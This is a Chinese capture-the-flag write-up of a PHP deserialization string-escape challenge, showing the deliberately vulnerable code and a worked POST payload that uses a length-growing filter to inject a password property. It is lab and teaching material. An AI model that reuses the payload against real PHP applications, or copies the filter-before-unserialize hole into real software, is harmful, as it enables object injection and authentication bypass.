【中北大学DASCTF】EasyUnser PHP反序列化字符串逃逸
题目
<?php
include_once 'flag.php';
highlight_file(__FILE__);
// Security filtering function
function filter($str){
return str_replace('secure', 'secured', $str);
}
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();
if (isset($_POST['username']) && isset($_POST['password'])){
// Security filtering
$h->username = $_POST['username'];
$c = unserialize(filter(serialize($h)));
if ($c->password === 'hacker'){
echo $flag;
}
}
思路
详细原理参考:https://blog.csdn.net/qq_45521281/article/details/107135706
分析代码,我们需要通过字符串逃逸,将 password
字段的值修改为 hacker
。
尝试构造用于 POST 的 payload:username=";s:8:"password";s:6:"hacker";}&password=hacker
因为在 filter
函数中,secure 被替换成 secured,增加了一个字符,而我们构造的 username
字段的长度为 31,因此为了让后面的字符串逃逸出来,我们要在里面加上 31 个 secure,即:
username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=hacker
POST 提交,成功显示 flag:
完整利用过程
当我们 POST 上去过后,序列化后的内容变为了:
O:6:"Hacker":2:{s:8:"username";s:217:"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}";s:8:"password";s:6:"hacker";}
username
内容的长度即为图中框选的部分:31 (payload 部分的长度) +31×6=217,没毛病。
最后一段 ";s:8:"password";s:6:"hacker";}
由于前面已经形成闭合,所以在之后的反序列化中不会产生作用。
接下来 filter
函数将所有的 secure 替换成secured,变成了:
O:6:"Hacker":2:{s:8:"username";s:217:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured";s:8:"password";s:6:"hacker";}";s:8:"password";s:6:"hacker";}
反序列化后的内容为:
string(6) "Hacker"
["username"]=>
string(217) "securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured"
["password"]=>
string(6) "hacker"
这下 31 个 secured 完美占据了 217 个长度,成为了 username
的内容,而后面的部分则 ”逃逸“ 了出来,变成了对象的属性。之前对象的 password
字段的 margin123 也就变成了 hacker。
妙啊,实在是妙。
原文地址:https://www.cnblogs.com/--kisaragi--/p/15230779.html
- Spring Security笔记:解决CsrfFilter与Rest服务Post方式的矛盾
- GitHub新开放项目FoolNLTK:一个便捷的中文处理工具包
- hessian学习
- 制作WordPress侧边栏“博客统计”小工具并集成在主题中的方法
- Struts2、Spring MVC4 框架下的ajax统一异常处理
- 前11月网游收入1341亿元同比增超两成 你贡献了多少?
- struts2: config-browser-plugin 与 convention-plugin 学习
- 千万级规模高性能、高并发的网络架构经验分享
- UE4新手之编程指南
- redis 学习笔记(5)-Spring与Jedis的集成
- Linq to SQL 查询Tips
- SQLite 预写式日志
- java调用.net asmx / wcf
- mybatis3.2.8 与 hibernate4.3.6 混用
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Spring Boot 太狠了,一口气发布了 3 个版本!
- 贷款违约预测-Task2 数据分析
- Redis 最牛实践:业务层面和运维层面优化!
- 一个 randomkey 命令导致的 Redis 事故。。
- 分布式锁(数据库、Redis、ZK)拍了拍你
- 贷款违约预测-Task3 特征工程
- 用SQL代替DSL查询ElasticSearch怎样?
- 面试造飞机:面对Redis持久化连环Call,你还顶得住吗?
- 体验spring-boot-devtools热部署,流畅且不失强大,Jrebel呢?
- 贷款诈骗 x 摸版0day + 实战预警脚本
- 你不知道的 Linux 使用技巧
- 一文详解 Websocket 的前世今生
- 实例 | 教你用Python写一个电信客户流失预测模型
- OpenCV快速傅里叶变换(FFT)用于图像和视频流的模糊检测
- 看了这个总结,其实 Matplotlib 可视化,也没那么难!